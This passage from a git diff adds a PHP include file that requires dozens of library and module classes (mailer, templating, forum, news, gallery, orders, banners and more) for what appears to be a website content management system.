. '/libs/dbtree.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php'); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php'); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/extra.class.php"); +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/setup.class.php"); ?> \ No newline at end of file -- libgit2 0.21.4